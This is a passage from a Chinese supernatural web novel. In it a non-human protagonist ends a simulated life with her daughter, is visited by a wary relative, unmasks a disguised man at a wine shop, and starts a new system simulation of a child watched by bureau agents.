    阿母总是朦胧的，笼罩在黄昏的光晕中，静立在深沉的夜色里。神尊无声投来注视，如同欣赏一件还算满意的作品。


    南昙脑海里的自己跌跌撞撞深入黑夜，无所畏惧地想要牵住阿母的手，如同幼时般，请求阿母带她看看更多的风景。


    但她抓住的却是满鬓雪白的胞弟...南季似霞，夜色涌入时消散地悄无声息。


    她又看见了阿母的灵堂，白烟缭缭，黄纸和油烛的味道萦绕不散。


    长久凝视黄纸燃烧的火焰让她眼里泛白，她眨了眨眼，抬头看见胞弟隐藏在烟气后的眸子陌如深谭。


    她以为自己眼花，摇摇头定神凝望。


    原来幻觉已然化为现实。


    阿母听允了她的呼唤，决定留在人间。


    ......


    南昙睁开眼，感受到身边的人尚未离去，转头想要呵斥。


    但看清来人后，斥责堵在喉口，滚烫到让她哽咽。


    “...阿...母”


    “...是...阿母？”浑浊的泪无声下落。滚烫的话语流入心肺，引来从身到灵魂的战栗。


    南音笙说不出自己心里是个什么滋味，不存在的心脏里似乎堵了一团棉絮，不让她痛，也不让她好受。


    陌生又熟悉的情绪让她稍显迷茫，最终决定在南昙面前故作轻松，“让我走？我以为你会高兴看见我。”


    南昙抹掉泪水，声音沙哑早不复曾经的清冽，“得见阿母，昙之幸。”


    她撑起身体，被褥下的躯干如枯树，干瘦得仅有一层薄皮。


    她已经是位109岁的老者了，在时间的侵蚀下，南音笙数次称赞的美貌


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    终如过眼云烟。


    南音笙静静看着南昙的动作，没有帮忙，也没有制止。直到这位老人站起身，强撑脊背，再现优雅端庄，她下意识露出一个浅淡的笑。


    “南昙，你比昙花还好看。”


    老人银丝满头，褶皱遍脸。


    她却不再感到自卑，抬头平视自己的母亲。


    “阿母，昙花何物，昙好奇已久。”


    南音笙摘下幽谷内刚刚盛开的昙花，月色下，昙花皎洁，哪怕脱离生长地，依旧在全力绽放。


    “送你了。”


    等南昙接过昙花，南音笙又忍不住笑了笑，但随后轻叹一声，“昙花仅一现。”


    “南昙，你现在就是昙花。”


    “昙花绮丽，昙谢阿母。”


    生命弥留之际实现了幼时的渴望，何尝不是一种幸福。


    但…南昙低下头看着手里已经完全盛开的花，心底最后的幻想，随着花开一起消弭。


    她曾期待阿母带她离开人间，死后依旧能伴母亲左右。


    但她是南昙，母亲为她取名南昙。


    南昙，南昙。


    她是昙花


    昙花仅一现。


    母亲从未想过留下人间的女儿。


    “阿母，昙拜谢。”南昙重复道，“昙拜谢”


    她的气息逐渐微弱。


    “愿阿母生世遂愿，长乐安康。”


    .......


    【退出模拟】


    【此次模拟未尽，合作者无评分】


    【是否同意模拟自行衍生】


    ......


    【已执行，模拟人物死亡前，合作者可随时查看模拟情况】


    ......


    【是否离开虚无之地......】


    ......


    【正在执行，合作者请闭眼】


    ......


    南昙死了，而且没有变为神秘衍生物或者异常。


    她就像一个普普通通的人类一样，再也没有睁开眼睛。


    南音笙在卧室睁眼，静坐良久。


    她不知道神秘该是什么样子，但心目中，长生的物种都不该对感情抱有过多的执着。


    生命易逝，专注于自身才是长久存活的根本。


    但是作为人类的那一部分又不免绵软，期待有谁与自己共进退，陪伴左右。


    人类的灵魂长久囚于虚无之地，睁眼便是无边的虚无。


    人类的灵魂成为神秘而不疯狂，坚持己身期望踏足高地。


    南音笙感觉自己发现了系统最开始说她天赋异禀的真相。


    算了，昙花固然美丽，但还没达到非看不可的程度。


    她沉默许久，不过是在理清自己的思绪，现在一切畅通，该是继续生活。

 39.任性

    正常情况下，她结束了工作，还在工作之后的贤者时间认清了自己，所以之后该是大结局般的放松时刻，让她再次见识生活中的美好。


    比如欣赏看起来逐渐猥琐的老黄牛和渐渐认清自己身份，但是会装可怜的藤蔓互相耍心眼子。


    比如打开【雅南书】，看看灵异志怪，领略世间风景。


    又比如出去到处逛逛，说不定能在“古传醇酒”发现惊喜。


    而不是像现在这样。


    和一个小傻子面对面，假装寒暄。


    南音笙第十一次看见南赴栢的眼神飘移，其中五次是在自以为隐蔽地打量她的眉眼，其余六次都是透过窗户，盯着后院缠满栏杆的藤蔓和她嚼着藤蔓叶子的老黄牛。


    他眼里的情绪之清晰，从震惊到惊恐，又到复杂敬畏.......其内心丰富，不想发现都难。


    “我以为你会在三秦休养一段时间。”怎么在涿州？又怎么知道她的住址？


    “只要【夜灵】对我不感兴趣，我就没事。”南赴栢收回“偷偷摸摸”的视线，转而看着南音笙的眼睛。


    “音笙，你知道我的情况？”


    “赵鸢说你二次昏迷不醒，还禁止探望。”南音笙话落，待客厅一下没了声音。


    南赴栢的呼吸在刹那间消失，温润的眸目同时瞪圆。


    他大概想到了什么，刺激之下，大脑瞬间陷入空白。


    本就不聪明的人看起来更傻了。


    南音笙毫无心理负担的想。


    自从突发奇想把【族谱】交给南赴栢，她就没想过隐瞒自己不协调的身份。


    一切随缘。


    但是南赴栢之前从来没有怀疑过她，甚至还抱有对“年幼者”的怜爱。


    现在终于意识到问题了？


    但他又意识到了什么？


    “小栢，放弃休养来到涿州，在没有告知的情况下直奔我的住所，你是想做什么呢？”


    神秘模拟不会造成现实世界的时间流走，而她又只在人生模拟中待了三天，对应的现实世界时间完全可以忽略不计。


    所以，南赴栢在她买好房子后休息的几天内，查到了她的行踪，然后不打招呼地登门拜访。


    屋内的空气重新流动，南赴栢控制自己正常呼吸，但没有回答南音笙的疑惑。


    他似乎在转移话题，又像在真诚发问，“音笙，你在族谱哪一页呢？”


    他的声音很轻，仿佛在呵护稚嫩的花朵。


    “我未在南家族谱之上。”


    南音笙歪头打量对面的青年，毫不掩饰自己的好奇。


    “嗯，但你是南家人。”


    自从【夜灵】降临后，他给南竭钦打过电话告知情况，南竭钦也把之前隐瞒的消息告诉了他。


    不久前，收集南家血的“东西”认识【祖灵】，并且大概率是神秘。


    同时，祂将本该在南音笙手上的【族谱】给了南家族长。言语间还认识自己。


    愿意记住南家子名讳的神秘唯有【祖灵】，能够驱使神秘的唯有神秘


    他的父亲，南家吉祥物族长，也因此意识到【祖灵】即将苏醒。


    或者说已经苏醒，但不方便现身。


    而他南赴栢在长辈眼里从来没有褪去过叛逆，所以大多数与【祖灵】相关的信息都被禁止告知。


    ......为了...让他免受无能为力和迷茫的痛苦。


    南赴栢自觉不是真正的蠢人，大多时候，他只是不愿意思考过深。而他的身份决定他有放弃思考的权利，甚至于，有缺陷的自己更受欢迎。


    初次接触【酒鬼】时，南音笙档案上履历清白，是与人交集极少的普通人，不受污染的特质让言严以为是南家出走的后辈。


    同时她缺乏常识，仿佛不谙世事。来自本能的亲近也让他猜测这是家族流落在外的孩子。


    但初见时腼腆内向的女性，不久后语气中透露出权势滋养的理所当然。


    与世界另一面交集颇少的，刚出象牙塔的年轻人，能够拿出南家【族谱】


    随着对世界的了解，她言语间的不甚在意。


    一成不变的表情，现代难以培养出的仪态，回忆中模糊的面容和紧随而来的眩晕......


    关山时，南音笙是黑白世界里极剧恐怖的黑白人形，黑色异袍与苍白皮肤不似活人。


    几天前，三秦夏历司赵鹉透露出：赵鸢因为南音笙失控，并将她认作母亲。而赵鸢上一次失控原因是镇国器——经过【知识】侵染的镇国器。


    太多了。


    破绽，或者说毫无遮掩的异样摆在眼前。


    太多了。


    一切都避无可避，他只能来到南音笙面前。


    “小笙啊。”南赴栢壮着胆子继续称呼南音笙为小笙，讨好的笑笑，“没上族谱不是大事，现在加上怎么样？”


    南音笙：“......”


    “有话直说。”


    南赴栢开始低头剥上门拜访时带的橘子，边剥边说。


    “没什么，就是小笙应该不是人吧，吃东西有味道吗。家里能交流的异常都不需要人类的食物，也不愿意和我聊天，所以我有些好奇。”


    “...可以有。”她以前挺喜欢享受美食。


    “哦。”南赴栢把剥好的橘子分成两半，其中一半递给南音笙。


    “这是我今天早上去集市买的，老板说大棚种植包甜，还能补充维生素。”


    “......”无奈感和吐槽欲油然而生。


    南音笙嘴唇阖动，还是什么都没说，接过被剥得凄惨的水果，“顺手”塞进南赴栢嘴里。


    南赴栢不说话了，老老实实吃水果，看起来老实又好欺负。


    如果眼神不一直往她的眉目和窗外飘的话。


    “嗡嗡...”


    随手放在桌边的手机嗡嗡震动，南音笙眼不见心不烦地接通电话往外走。


    “喂，您好，这里是优加房售中心，请问您还需要租房吗？现在我司初冬优惠活动，只需要签一压一......”


    “嘟...”南音笙挂断。


    人活得久了什么都能遇到，她接到销售电话不稀奇。


    老黄牛没感受到“老主人”身上有怒气，小心翼翼地靠近，想要增进一下主仆情谊，让自己的一身腱子肉更安全。


    但还没等它靠近，蜷缩在栏杆上当墙的藤蔓齐刷刷地睁开眼睛，渗人的场景引走了南音笙全部注意。


    “嘶！”


    老黄牛看见屋内走出一个陌生人，他吸气的声音让老主人再次转移注意。


    往前走的蹄子顿住。


    老黄牛又大又圆的黑眼睛里闪过狡黠，倒退着回到角落，一趴一闭，瞬间“入眠”。


    藤蔓完全没有收起身上密集眼睛的意识，甚至眼睛还按照不同频率眨动。


    这是它曾经听说过的，人类卖萌增进感情的妙招。


    它全身心都在南音笙的反映上，企图再次吸引食物链顶端的关注。


    然后......藤蔓失去了意识


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    。


    所有眼睛闭合。


    抽出点注意力隔空拍晕藤蔓，南音笙转身回到屋内。


    南赴栢多看了眼老黄牛和车架，颠颠地跟着她走了。


    “小笙，它们是你养的宠物，还是食物？你喜欢有很多眼睛的？”


    感谢藤蔓不可忽视的异常，让不知道怎么说出口的话一下就流畅了。


    “老黄牛是宠物。”南音笙坐在米色的沙发上，看见茶几上的橘子，下意识拿起一个。


    剥皮的手顿住，她把手上的橘子扔给南赴栢。


    “藤蔓是食物，但是眼睛太多，所以是宠物的宠物。”


    “哈哈哈。”南赴栢干笑两声，想要委婉的表达想要探究的问题。


    “能压制住这些东西，小笙很厉害。”


    “这么厉害的小笙是什么来着。”


    南音笙：“......”


    好生硬的转折。


    她抬头去看，发现这孩子说完话后又低着头剥橘子皮，只不过头都要低到胸口了，原本高高的个子，现在愣是让人看不见脸。


    南赴栢总有一种往外冒的傻气。


    让她生气，让她鲜活。


    “你猜。”南音笙也拿起一个橘子开始剥。


    水汽和外皮的汁液都被能量隔绝，很快，一个表面平整的无皮水果出炉。


    确实挺甜的。


    等南音笙慢条斯理的吃完，南赴栢的剥.皮大业才进行到一半。


    她也不急，就这么静静地欣赏雅南子嗣后辈的窘迫。


    冬日的白天短暂，加上南赴栢下午才上门拜访，伴随着两人的故意拖延，夜色悄然降临。


    剥了大半橘子皮的南赴栢终于意识到屋内有多黑，从沙发上站起，毫无见外地到处找灯具开关。


    “啪”


    客厅的灯亮了。


    南赴栢垂着头转身，慢慢挪回沙发。


    余光中，浓稠但分明的色彩摄住他的身心。


    世界变为无声哑剧，被本能扼住喉咙的南赴栢猛然抬头。


    失语中，他终于看清南音笙真正的脸。


    收敛气息的非人不会伤害血亲，但是远超人类极限的容颜依旧引起不适的眩晕。


    祂苍白如月


    祂浓稠如墨


    祂深沉如夜


    祂在夜色里显露身形，祂毫无隐藏地诉之血亲。


    毫无疑问，南音笙就是【夜灵】。无需南家后辈成为容器，独自行于世间的神秘。


    祂如同两千年前，选择再次游戏人间。


    南赴栢蓦地忆起家中流传的猜测。


    “祖灵一向纵容家族子孙，我们因其仁和传承至今日。”


    “但我们不能耗费祂的纵容，敬爱与谦卑才能永久留下南家的祖灵。”


    直视神秘面容唤起人类本能的恐惧，南赴栢溺入黑暗，深陷窒息。


    但他不愿意移开眼。


    他也不认同族中长辈的教训。


    既然祂纵容南家子弟如普通后辈，那他就如普通后辈般亲近任性。


    既然祂愿意让家族传承至今，那他为什么不能诉说家中长辈失去意识的痛苦，请求这位血亲不要以家人为容器。


    南赴栢艰难地找回自己的声音，竭尽全力吐露言语。


    “哈哈，小笙。”


    他猜自己的面目一定十分狰狞，但声音必然高昂。


    “原来你就是【夜灵】的朋友啊。”


    “哈哈。”


    “有空来我家做客。”

 40.神秘的容器

    如果仅看外表。


    充满惊惧的南赴栢像是炸毛的萨摩耶，无害又惹人怜爱。


    但显然，这些都是假的。


    他似乎无师自通地学会了家里神秘衍生物们都具备的装傻技能，试图蒙混过关。


    南音笙的视线，在他形似南昙的眉目处停留几秒，又迎着他自己都没意识到的倔强视线，变回了普通人的模样。


    “还有什么事？”


    南赴栢还沉浸在刚才的大胆发言里，理智回笼后，心脏不受控制地加速，硬生生把自己的脸变得涨红。


    他尽量控制自己语气：“小笙，你想做什么，我们可以帮忙。”


    “不用管我，有事我会去找你。”南音笙视线下移，看了两眼他手上破破烂烂的橘子残骸。


    “我不会对你们造成伤害，也对别人的恭维不感兴趣。”


    “南赴栢，没事别来找我，也不要让别人来找我。”


    ......


    上门拜访的人听话地离开了，留下铺满大半个茶几的橘子。


    南音笙吃了两个甜橘，也起身离开家门。


    她好久没有欣赏现代夜晚的风景了。


    宜腾居在四环，左边是大型商贸中心，右边是大型休闲区，背后则有许多胡同路。


    夜晚降临，胡同巷里满是人间烟火。


    南音笙穿过热闹的人群，熟门熟路地走进“古传醇酒”。


    这里不仅贩卖酒水，内侧还有饮酒消遣的小片吧台，环境与酒吧相比别具一格，也算有风味。但不知为何，在店里饮酒的人极少，甚至买酒的人也寥寥无几。


    明明混白的酒液清润回香，确实是佳酿。


    南音笙略微降低了存在感，独坐在角落观看店铺外或欣喜或悲伤的来客，以他们的喜怒哀乐为下酒菜，慢慢酌完半壶。


    此情此景，似乎与她独身虚无之地，俯瞰模拟世界相差无几。


    “老板，一壶白酒，二两牛肉！”


    莫名的隔阂被新客的叫声打破。


    开口的是位满脸喜气的青年，皮肤白皙，眼眸清亮，雌雄莫辩。他身旁的年轻女性气质温厚，只不过在同行人开口后悄悄掐了青年一下，性格似乎与气质有所差别。


    两人挽着手进门，看起来关系很好。


    南音笙的视线移向青年。


    雌雄莫辩的青年是与她有过一面之缘的宿白，神秘向不可知，但是表现方式为“吸收所有非污染性质能量”，并且从未有过反噬或后遗症。


    “非污染性质能量”的描述十分微妙，现实世界非科技侧里，能量无非三种。


    异常、神秘衍生物的污染。


    解密人的神秘向。


    神秘的权能与气息。


    有趣的是，解密人因异常或神秘衍生物的污染而破茧，所谓的神秘向本身就是一种对污染的运用，其能量本质同样是污染。


    所以，所谓的“非污染性质能量”只有神秘的权能与气息一个选项。


    宿白的神秘向真的如此超出常规？不见得。


    南音笙又仔细去看宿白身旁的年轻女性，脸上倏地带出些微妙。


    肉眼之外的感知中，这位“女性”身上散发出淡淡的污染，这些污染给她的感觉如“灯”，时而明亮时而黯淡。


    最重要的是，打破这层污染，直视这位“女性”的内核，能发现“她”其实是“他”。


    他是个男人。


    利用异常伪装成女性的男人，同时还是和颇具美貌的宿白关系匪浅的...男人。


    宿白皮完，正经点好饮品，带着“女伴”直奔角落而来。


    “南，南...南顾问的妹妹好久不见。”


    糟糕，忘了名字。


    还好他机智，这么快就找到个能说出口的称呼。


    他一屁股坐在南音笙旁边，完全无视她身上降低的存在感。


    反倒是“女伴”一惊，僵硬一瞬又若无其事地坐在宿白左侧。看得出来，他对外的人设是普通人。


    南音笙顺势恢复存在感，“好久不见，我叫南音笙。”


    宿白很热情，“我是宿白，星辰司宿白，我们之前在一个项目组里见过。”


    “这是我女朋友安静，漂亮吧！她还是我大学校友，物理专业前十，超级聪明！”


    南音笙心情更微妙了。


    她总算知道，南赴栢在她面前的伪装来自于谁。


    南音笙意味深长，“安小姐确实了不得。”


    宿白显然听不出话里的其他含义，“别这么见外，静静比你大一岁，叫静姐就行。”


    “不用不用，音笙也叫我静静就好。”安静脸上闪过尴尬，放在坐台下的手狠狠掐了宿白一把。


    很符合正常人的行为模式。


    “小笙你怎么在这儿？来涿州旅游吗？前面三巷子有家卤煮火烧很好，你第一次来一定要尝尝，还有七墙鹫的豌豆黄，老小吃的杂酱面，五院旁边的窝窝，涿州特色...”


    宿白介绍了一堆美食和景点，又道，“可惜南顾问还没回来，不然他还可以带你到处逛逛，南顾问不是在三秦吗，你怎么不等他一起来涿州？”


    店员送上一壶酒和一盘坚果，坚果颜色不够鲜亮，看得出品质一般。


    南音笙听完，抿了一口酒，“不是旅游，我以后打算在涿州定居。”


    “有眼光！”


    宿白给安静倒了一杯酒，又给自己倒了一杯，“和南顾问一起住？需要租房吗？我在这边还是有几套房子，有需要随时来找我。”


    他自来熟道，“我和静静现在住在宜腾居，就是胡同路前面的小区，有空来玩啊。”


    “嗯。”南音笙遵从内心的好奇，把话题转到安静身上，“安...静在监天局就职？”


    “嗯？”宿白没感觉初次见面就问被人的职业不礼貌，反而抢在安静前笑着解释，“静静不是解密人，她现在研究生在读。”


    “是啊，我只是普通人，对这些不了解。”安静面上腼腆，光明正大地，含羞带怯地“悄悄”去看宿白，“但是我知道解密人是保护民众的高危职业，白白值得尊敬。”


    宿白捕捉到“女朋友”“悄悄”的注视，笑得露出两排白牙。


    南音笙咽下嘴里酒，“是吗？那他身上怎么有一层污染。”


    两人脸色骤变。


    “静静！”宿白唰的站起身，第一反应是马上带安静去监天局检查。


    安静则脸色发白，看南音笙的眼神带着狠厉，只有焦急中的宿白发现不了。


    店员听见动静，探头来看。


    店外也有人听见宿白的叫喊，三三两两聚在门口向内探寻，眼里都是八卦的光。


    有人看着这一男两女的组合，又发现安静眼里的狠毒，看南音笙的眼神就变了。


    从遗世独立，冷眼旁观人世冷暖。


    到成为众人八卦中心，身处不太妙的舆论漩涡...


    南音笙蓦然发笑


    这笑让安静脸上的狠厉都出现片刻


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    凝固。


    “不用去，他没事。”南音笙按住宿白，强迫他坐下。


    她莫名升出一股好心情和趣味，“你看，他还想杀我，全身上下没一点担心。”


    宿白听见“女朋友”没事，刚要追问，就听见后半句话，下意识转头去看安静。


    正好捕捉到安静调整面部表情的扭曲模样。


    “静静？”宿白有一瞬间的茫然，但是对“女朋友”的担心压过疑惑。


    他选择拥抱住安静，询问南音笙，“南...小南顾问，你看出什么了？静静真的没事吗？”


    好巧不巧，他根正苗红，入职就在星辰司司长麾下，受到涿州监天局重点培养。还和南赴栢交好。


    他知道南家人的特殊。


    “嗯...”南音笙还维持着好心情，“他当然没事，你不是看见了吗。”


    宿白脸上有些不自然，刚要辩解就被南音笙打断，“要不你自己问问你的男...”


    “宿白！”安静尖叫，“我不舒服，我们先回家！”


    这声尖叫引来了更多的看客，还有人拿出手机录像。店员小跑过来，想要询问些什么，但是找不到插话机会。


    南音笙早就不在意他人的眼光和看法了。


    而且成为神秘后，未经过她同意，电子设备无法记录她一丝一毫的影像，哪怕是虚假的皮囊也不行。


    她如先前一般，在宿白搞不清状况的眼神中，强行按下想要离开的两人。


    夜色已至，肉眼不可见的暗色能量一点一点磨灭安静周身的伪装。


    高挑的温柔女子，在众人的注视下缓缓变样。


    瓷白的皮肤变得粗粝棕黑，干净的下巴生满青黑胡渣，平滑的颈脖长出凸起......


    女变男，温柔变猥琐。


    这出大变活人的戏码引起观众阵阵惊呼。


    宿白整个人都惊呆了，脑子里一片空白，手搭在“安静”肩膀上，完全忘记动作。


    只有嘴里下意识喃呢，“静静？静静！静静？...”


    “安静”从众人的反映中意识到什么，难以置信中下意识把手放到胸口。


    本该随身携带的异常——【女士项链】不知所踪。


    他的面色骤然狰狞，猛地推开宿白看向南音笙，又在南音笙平静的目光中一抖。


    怒火浇灭，理智回笼。


    “宿白！”他再次尖叫，“我爱你！”


    “都是因为爱你，我宁愿变成女人！”


    “我爱你啊！”


    说完，头也不回地跑了。


    宿白还是一副没有反应过来的模样，只不过瞳孔涣散，显示是明白了事实，但是无法接受。


    店内外的看客欣赏了一出好戏，阵阵的讨论将当事人缠绕，密不透风。


    而本该也在舆论中心的南音笙再次降低存在感，注视宿白的眼里失去笑意。


    安静携带的异常已被湮灭，飘散在空中的污染不足为惧，正常情况下会随着空气流动消散无形。


    但是这些甚至无法黏上普通人的污染残渣，层层围绕着雌雄莫辩的青年。


    而青年，在无知无觉的情况下将其全部吸收。


    好香。


    宿白好香。


    吸收这些早已湮灭能量的宿白，散发出比之【山水图】更加诱人的香气。


    南音笙站在所有人之外，勘透了宿白的本质。


    他体内充盈着神秘的气息。


    他是改造中的神秘容器。

 41.【吕星罗】

    南音笙无所谓宿白的身份，她之所以隐于人外，全因那一瞬间的悸动。


    充斥着相近能量的的宿白是可口至极的食物，哪怕规范如人类的她，也想啃上两口。


    那么，非人类的系统，时刻看着“食物”在眼皮底下晃荡，真的能忍住吗？


    已知：系统曾称自己非神秘，但却能将她变为“神秘”，那么系统在世界上的定位必定与神秘相当或在神秘之上。


    已知：神秘可以吞噬相近权能的存在成长，同为此方世界的存在，神秘之上难道能例外吗？


    或者说，哪怕系统不是这个世界的产物，最开始孱弱至极的系统真的不会被世界同化吗？


    已知：非人存在难以抵抗“食物”的吸引，而她从未嗅到过“系统”的香味，但系统差点将她吞噬。


    已知：她和系统是合作关系，但系统知道“模拟”的所有隐秘，甚至能“更新换代”。而她真正的定位是系统的“打工人”。她一直在执行，掌握和了解的进度难以寸进。


    综上所述，她与系统相比，处在绝对的弱势地位。


    而强势地位的系统，已经有吞噬她的倾向了。哪怕他们现在处于合作状态，但是她无法保证，系统能为了所谓的合作坚持到几时。


    作为“受到恩惠的人”和“弱势合作方”，她不能直接向系统询问情况。


    阴谋论中，直接摊牌=掀桌=合作结束=合法进食。


    如果某一天，宿白完全成为神秘容器，失去人类的意识和形态，她不会坐看食物离开。


    如果有一天，南音笙创造的价值不足以让系统满意，它能与她和平结束合作关系？


    城市里的月亮隐藏在浓厚的雾障和光污染下，层层阴霾内却灯火阑珊。


    南音笙承认自己在不够光明磊落，一直视帮自己新生的“恩人”为假想敌。


    但是死亡一次后复生，她不想再次感受生机和灵魂缓缓抽离的痛苦。


    她对生的渴望，对权利和能量的渴望，她的野心...都想要将系统踩在脚下。


    ......


    目送失魂落魄的宿白离开，南音笙马不停蹄地回到虚无之地。


    【模拟开始】


    【天赋抽取中】


    【身轻体壮（蓝-一级），耳清目明...尖嘴猴腮...】


    ......


    【模拟结束】


    【模拟开始】


    【天赋抽取中】


    【三心二意...长发飘飘...】


    ......


    【模拟开始】


    【天赋抽取中】


    ...


    【天赋抽取中】


    ...


    【......】


    南音笙紧盯着系统界面，无视模拟结果，专注于天赋抽取。


    和人生模拟不同，神秘模拟虽然每次开局都能抽取天赋，但每次只能携带三种天赋，除此之外的天赋会自动消失。


    她要做的，就是凭借概率和运气，抽到金色天赋再开始真正模拟。


    一个普通天赋升级为权能需要一个南音笙的能量。


    一个金色天赋升级为权能却只需要区区几千点能量。


    不抽到金色天赋，她誓不罢休有。


    【天赋抽取中】


    【持久秀发（白-一级），无病无灾（橙-一级），截断（金-一级）】


    只不过花费了1200点能量，金色天赋到手。


    【模拟开始】


    【0岁：天赋截断触发——你的生机遭到截断】


    【你死了】


    南音笙：......


    南音笙默了默，重开模拟。


    【0岁：天赋...——你的生机遭到截断】


    【主动触发天赋——截断】


    【你截断了截断生机的路】


    【你出生了，是个先天性智力障碍者】


    【你的母亲意识到你是个...】


    【你死了】


    “......”


    南音笙怀疑今天的运气都用在了抽取天赋上，不然连续死亡的开局实在让人唏嘘。


    虽说神秘模拟中除去天赋外，其他属性完全随机，但模拟至今，她也是第一次见...【智】如初不达标的模拟人物。


    当然，这并不代表不好，如果模拟人物能够活下来，说不定能试试【斯托提】的生存方式。


    可惜神秘模拟中的不确定性还是太强了......


    转回思绪，南音笙继续模拟。


    【...】


    【1岁：你出生了，是个女孩，名为吕星罗】


    【你的母亲是涿州大学天体物理学副教授，你的父亲是涿州师范大学心理系高级讲师】


    【你的父母忙于事业，将你托付给保姆照料】


    涿州大学，天体物理学。


    涿州师范大学，心理系。


    这些都是现代才有的学系，这次模拟随机到的时间，与现实世界真实的时间过于接近。


    【2岁：你很健康，从出生到现在都未生病】


    【你很聪明，通过对大人的观察，能够知道并模仿人类简单的生活模式】


    “什么叫【模仿人类】的生活模式？”


    南音笙心有猜测，系统的回答证实了猜测的正确性。


    “合作者，模拟人物拥有接近权能的金色天赋，从她截断生机开始，就已经失去了人类的身份。”


    “而且拥有金色天赋的人类，不可能是存粹的人类。”


    正如【雅南】，正如【斯托提】


    南音笙接受了这个说法，既然模拟生物最后都会成为空壳，她也不在意ta们的种族是什么。


    之所以询问系统，一是延续之前有问题信赖系统，寻求系统帮助的人设。二是确认自己的猜想。三是借助询问，隐藏心中的隐忧。


    隐藏在模拟人物背后的她是否会被发现暂时不论，无限接近现实世界真实时间的系统，是否也能直接借助“随机”生成的模拟人物，对现在的现实世界造成影响呢？


    或者不止是现实，还有未来。


    系统，拥有穿梭时间的能力，而未来何尝不是时间的一段延续。


    模拟斯托提时，斯托拉无法得到时间的权能真的是因为运气不够好吗？


    还是时间的权能已经在系统手里，其他生灵失去了获取相关权能的资格。


    意识到自己又在为没发生过的事情烦躁，南音笙及时调整自己的状态。


    阴谋论和危机意识可以有，但是绝对不能影响到现实。


    她就算知道又能怎么样，现在什么也做不了，专注模拟才是唯一的出路。


    【3岁：你的父母因你的聪慧而骄傲，他们相信你未来大有成就，亲自安排了你的早教课程】


    【4岁：你进入涿州公学国际双语幼儿院学习】


    【你的父母认为你年纪还小，需要更多探索才能认识世界】</p


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    【你的母亲为你报名幼儿数学兴趣班】


    【你的父亲为你报名小天才演讲课程】


    【你很聪明，所有课程都接受良好，表现优异】


    【5岁：你的父母询问你是否想学习乐理】


    【你同意了】


    【你开始学习小提琴】


    【6岁：你很喜欢教导你小提琴的老师】


    【他好香】


    【他也很喜欢你，经常称呼你为可爱的小点心】


    南音笙调出了小提琴老师的资料。


    【东门出，男，38岁，毕业于...】很普通且正常的简历。


    南音笙花费了一点能量，得到了隐藏资料。


    【东门出...就职于涿州监天局司仪部，神秘向——点灯】


    【点灯——污染如火，你为灯，灯火相吸】


    简单来说，东门出很容易发现和吸引污染。


    但既然他在这，也就代表监天局发现了模拟“人物”的特殊之处，专门派人来盯着——想要确定【吕星罗】到底是个什么东西。


    但是正常的监天局工作人员可不会称别人为【小点心】


    南音笙试探着再往系统界面投了一点能量，东门出履历不变。又投了三点能量，人物简介缓缓变化。


    【东门出，人类男性，终焉信徒，成熟期】


    “成熟期...难怪。”


    解密人体内的污染成熟，要么将污染的寄体消灭，要么彻底与寄体融为一体，将身为解密人的人类变为异常或者神秘衍生物。


    只不过大多数解密人终其一生都不会迎来成熟期，最多在死后利用特殊火焰火化，不用纠结自己以后是否会变为非人。


    但总有一些倒霉蛋，在尚且年轻之时迎来成熟期，逐渐往非人方向转化。


    他们的思想和行为异化，直到完全成熟，连自己都不知道，曾经的自己为什么会坚持帮助人类。


    东方出距离完全成熟不远了。但是他不可能是吕星罗的对手。


    一个金色天赋，一个橙色天赋，一个隐于背后的神秘。


    【你决定好好伪装人类，不表露出吞噬小提琴老师的渴望】


    【你的小提琴老师似乎很痛苦，望向的目光里是压抑不住的食欲和痛苦】


    【7岁：你进入涿州公学国际双语小学就读】


    【你的小提琴老师因为身体原因辞职】


    【新的小提琴老师名宁不喆，她的身上没有香气】


    【8岁：你按部就班上学，学习，通过父母的教育学习人类生活方式】


    【你的小提琴课提为一周五节，宁不喆似乎在有意培养与你的感情】


    南音笙调出宁不喆的资料


    【宁不喆，人类女性...就职于涿州监天局司仪部，神秘向抚人心】


    【抚人心——降低人形生物警惕性】


    又是一个针对性的解密人。


    “系统，意识载入模拟”


    【正在执行】


    【合作者请闭眼】


    ......


    “小星星，尝尝这个凉茶，老师爸爸专门煮的。”


    南音笙刚睁开眼，宁不喆的声音就从背后传来。


    她转头去看，首先映入眼帘的不是宁不喆美丽精致的脸，而是那瓶熟悉到让人窒息的【饮料】


    【人造污染茶】，由恶心且堆积许久的污染制作，用于判断饮用者是否非人。


    她还没喝，已经想呕了。

 42.姜殊

    哪怕【人造污染茶】的味道对于她来说其实不错，但自从见到了【324电路板】那堆积已久的污染，并得知这是【人造污染茶】的主材料，她对这东西产生了本人的厌恶。


    粘稠的，意识中恶臭的黑色粘液，怎么能变成味道奇异但是深入品尝还不错的“饮料”呢？


    收回发散的思维，南音笙不得不面对现实。


    宁不喆笑容明朗，但动作很快地把【人造污染茶】放在了她手上，似乎没想过她会拒绝。


    南音笙自然地将手上的“饮料”放到一边，“宁老师，我不是人，不适合喝这个。”


    最近太烦闷，她想玩个有趣的，既不耽误收获能量，又能释放压力。


    宁不喆听到南音笙叫自己“宁”老师就是一僵，她用的可是假名。


    紧随而来的话更是暴击。


    根据对吕星罗这段时间的教导和监天局的评估，面前的孩子危险性很低，因此宁不喆并没有什么危机感，没想到一向安静乖巧的孩子直言自己非人。


    言语间不仅了解自己的信息，还了解监天局的隐秘。


    开朗的笑刹时消失，留下一张难看的脸和满背冷汗。


    南音笙欣赏了一会，才开口道，“宁老师不用紧张，吕星罗是个好孩子，不会做什么的。”


    职业素养让宁不喆迅速冷静，抓住话里的偏差，“你是谁！”


    “宁老师可以把我当成吕星罗的第二人格。”南音笙拉住宁不喆的手，让她在自己身旁的沙发上坐着。


    还在冒冷汗的宁不喆感受到一股巨力，踉跄记下倒在沙发上，但她的大脑逐渐冷静，利用扑上沙发的动作做遮挡，打开口袋里的传音设备。


    抬手撑住沙发后转身，顺势按压手上的银戒，通知司仪部的同事情况有变。


    南音笙自然发现了她的小动作，偏头扫过她右手食指的黯淡银戒，又往她外套口袋瞥了一眼。随后就定定看着她的眼睛不说话。


    无机质的眼球盯得人直发毛。


    直到强迫自己放松的宁不喆僵成一坨冰块，南音笙才浅浅露出一抹笑。


    “吕星罗婴儿时期接触过神秘衍生物，经过筛选，她很容易成为异常。“


    “但是不知道那里出了问题，或者她小时候接触的神秘衍生物属性特殊，吕星罗还是人类，可却分裂出了我这个非人类人格。”


    “我偶尔能听到一些吕星罗听不见的声音，比如刚刚这个声音就告诉我你叫宁不喆，神秘向【抚人心】，而你手上的东西有毒。”


